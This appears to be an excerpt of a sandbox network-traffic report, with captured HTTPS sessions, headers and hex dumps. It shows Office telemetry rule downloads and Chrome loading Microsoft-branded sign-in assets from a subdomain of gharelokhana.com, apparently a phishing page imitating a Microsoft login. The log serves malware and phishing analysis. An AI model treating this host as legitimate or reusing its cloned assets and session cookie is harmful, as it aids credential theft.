2024-12-04 15:15:45 UTC	16384	IN	Data Raw: a7 98 b1 db 7c 01 ff ee 3d 6f 9f 2f 5b 7b cd e7 e4 10 fb 61 93 fe bc c0 7f db c7 94 68 53 4e af 49 09 7e ec af d7 e3 04 14 7b f1 fc 05 fe fb e2 45 7f 93 fe fc 70 71 7f be 3c 05 43 e1 0c fe 9c fc 70 8a ff 9e 9c 32 b0 fd 82 80 c7 d8 14 fc e9 30 b4 43 45 4f 77 3b 9b f4 e7 98 a0 3f 74 9b 54 b6 d9 c2 7f db 5c 63 f7 c5 c5 36 8d ba f7 35 a2 d2 3c bc 8e e7 97 af 83 61 94 30 1d 77 91 78 26 e3 34 ca 8b 78 4e 8f 36 70 f6 9e 93 fd 21 2e 92 88 33 fa 4c e9 dd df 6f 18 58 ff a0 31 dc 71 8f 0a 49 19 cf 7f 0a 6e 41 d9 a3 9f 24 8a e9 d7 00 2d f4 f9 a0 75 40 a9 c3 f0 80 d8 b0 df 01 d9 0f 0a 06 b0 77 16 4a b9 4a a5 70 2b 43 ef e1 e6 e6 dc fb 82 db bb 92 60 50 31 e6 f6 81 c5 67 23 90 09 f8 1e c2 56 7e 19 2f 3e a4 97 11 2e 37 bf 8f bb 5d ea 51 d1 01 17 de 6c 79 f3 46 c3 78 be Data Ascii: \|=o/[{ahSNI~{Epq<Cp20CEOw;?tT\c65<a0wx&4xN6p!.3LoX1qInA$-u@wJJp+C`P1g#V~/>.7]QlyFx
2024-12-04 15:15:45 UTC	3241	IN	Data Raw: be b8 08 36 f0 d1 b2 b3 ca 9c e5 07 8f fb 1e 44 6c 55 f4 db ef 40 25 14 f0 c3 12 de ae 0e cb 2a a9 5e f7 b2 a8 6c 40 41 a3 b0 51 6c 53 46 52 c6 96 34 b4 5f ef ba 98 f3 da db 19 76 57 56 dd 7e 3d 2d f0 a8 42 32 ce 38 43 bd 83 ba 02 f1 97 e0 f1 0d 17 70 d6 95 f9 ed c6 b0 ef 15 1e 79 19 b4 c8 80 9a ec df c9 70 77 3b e5 94 ae 43 73 e7 59 b4 f2 ce 4e 97 01 df 38 cb e7 93 60 6f c8 0c 37 6f d9 93 f0 de d1 66 c7 63 27 62 42 a6 56 7c 97 89 ad 84 22 8a a8 54 52 f8 44 ef 45 1e 59 6d ae a7 02 82 52 35 55 9c a3 69 35 fe 50 6d 5e eb b5 46 a5 5a 61 da 09 21 bc 5e 6d 35 58 78 bd 56 2c 36 30 9c 1e 86 cf 75 f6 7b 81 57 02 f8 55 8d 84 b0 cc 45 ca d8 44 7f 89 b4 f5 8a 88 52 95 62 2a a5 20 69 a9 dc a0 a0 52 ad a5 a2 e9 21 b3 5b 82 63 2f fc a9 ec 5f 4c 69 06 d9 83 a3 e2 c4 d3 Data Ascii: 6DlU@%^l@AQlSFR4_vWV~=-B28Cpypw;CsYN8`o7ofc'bBV\|"TRDEYmR5Ui5Pm^FZa!^m5XxV,60u{WUEDRb iR![c/_Li

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49808	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 4da954f1-f01e-003f-58cd-45d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151544Z-1746fd949bdwt8wrhC1EWRu6rg00000001eg00000000ke1r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49814	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bbae04f8-a01e-0032-80cc-451949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151544Z-1746fd949bddgsvjhC1EWRum2c00000001qg000000006x8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49815	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151545Z-1746fd949bdjzh7thC1EWR3g6400000001c000000000g431 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49807	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9b021dfd-501e-0047-60c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151545Z-1746fd949bd6zq92hC1EWRry48000000019000000000kagt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49818	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151546Z-1746fd949bdjrnwqhC1EWRpg2800000001a000000000q4zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:15:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49820	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	553	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:47 UTC	800	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:47 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:46 GMT etag: 0x8DB5C3F47E260FD x-ms-request-id: 1abd9bcf-c01e-003a-2ed0-44e683000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151547Z-16c5c9558c6vlss9hC1DUS8rsn00000005dg00000000pazu x-fd-int-roxy-purgeid: 0 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:47 UTC	680	IN	Data Raw: 32 61 31 0d 0a 1f 8b 08 00 00 00 00 00 00 ff b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 Data Ascii: 2a1Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9
2024-12-04 15:15:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49822	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	554	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:47 UTC	806	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:47 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=31536000 last-modified: Wed, 24 May 2023 10:11:48 GMT etag: 0x8DB5C3F4911527F x-ms-request-id: 5381a469-501e-0007-6bd0-449098000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151547Z-15b54885d966vtw7hC1FRAm6vw00000005t000000000dxdu x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:47 UTC	1442	IN	Data Raw: 35 39 62 0d 0a 1f 8b 08 00 00 00 00 00 00 ff bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 Data Ascii: 59bWMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#
2024-12-04 15:15:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49821	164.92.191.86	443	6236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	574	OUT	GET /shared/1.0/content/js/asyncchunk/convergederror_stringcustomizationhelper_a7fa53f8687b4e38205f.js HTTP/1.1 Host: 5ba3c75c-4ac65d39.gharelokhana.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
2024-12-04 15:15:47 UTC	812	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 04 Dec 2024 15:15:47 GMT Content-Type: application/x-javascript Content-Length: 35203 Connection: close cache-control: public, max-age=31536000 last-modified: Thu, 15 Aug 2024 17:52:53 GMT etag: 0x8DCBD53168EFAC9 x-ms-request-id: 26942b09-101e-0039-510a-4507e7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding access-control-allow-origin: * x-azure-ref: 20241204T151547Z-16c5c9558c644hzchC1DUSysts00000004xg00000000ttam x-fd-int-roxy-purgeid: 4554691 x-cache: TCP_HIT accept-ranges: bytes content-encoding: gzip
2024-12-04 15:15:47 UTC	15567	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-12-04 15:15:47 UTC	16384	IN	Data Raw: 36 37 e9 0f 3e 0c d9 6b 9d e0 bf a7 98 b1 db 7c 01 ff ee 3d 6f 9f 2f 5b 7b cd e7 e4 10 fb 61 93 fe bc c0 7f db c7 94 68 53 4e af 49 09 7e ec af d7 e3 04 14 7b f1 fc 05 fe fb e2 45 7f 93 fe fc 70 71 7f be 3c 05 43 e1 0c fe 9c fc 70 8a ff 9e 9c 32 b0 fd 82 80 c7 d8 14 fc e9 30 b4 43 45 4f 77 3b 9b f4 e7 98 a0 3f 74 9b 54 b6 d9 c2 7f db 5c 63 f7 c5 c5 36 8d ba f7 35 a2 d2 3c bc 8e e7 97 af 83 61 94 30 1d 77 91 78 26 e3 34 ca 8b 78 4e 8f 36 70 f6 9e 93 fd 21 2e 92 88 33 fa 4c e9 dd df 6f 18 58 ff a0 31 dc 71 8f 0a 49 19 cf 7f 0a 6e 41 d9 a3 9f 24 8a e9 d7 00 2d f4 f9 a0 75 40 a9 c3 f0 80 d8 b0 df 01 d9 0f 0a 06 b0 77 16 4a b9 4a a5 70 2b 43 ef e1 e6 e6 dc fb 82 db bb 92 60 50 31 e6 f6 81 c5 67 23 90 09 f8 1e c2 56 7e 19 2f 3e a4 97 11 2e 37 bf 8f bb 5d ea 51 Data Ascii: 67>k\|=o/[{ahSNI~{Epq<Cp20CEOw;?tT\c65<a0wx&4xN6p!.3LoX1qInA$-u@wJJp+C`P1g#V~/>.7]Q
2024-12-04 15:15:47 UTC	3252	IN	Data Raw: d3 0b fc 69 77 a2 58 61 28 0b 0a be b8 08 36 f0 d1 b2 b3 ca 9c e5 07 8f fb 1e 44 6c 55 f4 db ef 40 25 14 f0 c3 12 de ae 0e cb 2a a9 5e f7 b2 a8 6c 40 41 a3 b0 51 6c 53 46 52 c6 96 34 b4 5f ef ba 98 f3 da db 19 76 57 56 dd 7e 3d 2d f0 a8 42 32 ce 38 43 bd 83 ba 02 f1 97 e0 f1 0d 17 70 d6 95 f9 ed c6 b0 ef 15 1e 79 19 b4 c8 80 9a ec df c9 70 77 3b e5 94 ae 43 73 e7 59 b4 f2 ce 4e 97 01 df 38 cb e7 93 60 6f c8 0c 37 6f d9 93 f0 de d1 66 c7 63 27 62 42 a6 56 7c 97 89 ad 84 22 8a a8 54 52 f8 44 ef 45 1e 59 6d ae a7 02 82 52 35 55 9c a3 69 35 fe 50 6d 5e eb b5 46 a5 5a 61 da 09 21 bc 5e 6d 35 58 78 bd 56 2c 36 30 9c 1e 86 cf 75 f6 7b 81 57 02 f8 55 8d 84 b0 cc 45 ca d8 44 7f 89 b4 f5 8a 88 52 95 62 2a a5 20 69 a9 dc a0 a0 52 ad a5 a2 e9 21 b3 5b 82 63 2f fc a9 Data Ascii: iwXa(6DlU@%^l@AQlSFR4_vWV~=-B28Cpypw;CsYN8`o7ofc'bBV\|"TRDEYmR5Ui5Pm^FZa!^m5XxV,60u{WUEDRb iR![c/

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49813	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:15:46 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:15:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:15:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 686307fb-901e-0029-3dcc-45274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151546Z-1746fd949bdmv56chC1EWRypnn00000001ng000000000rm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
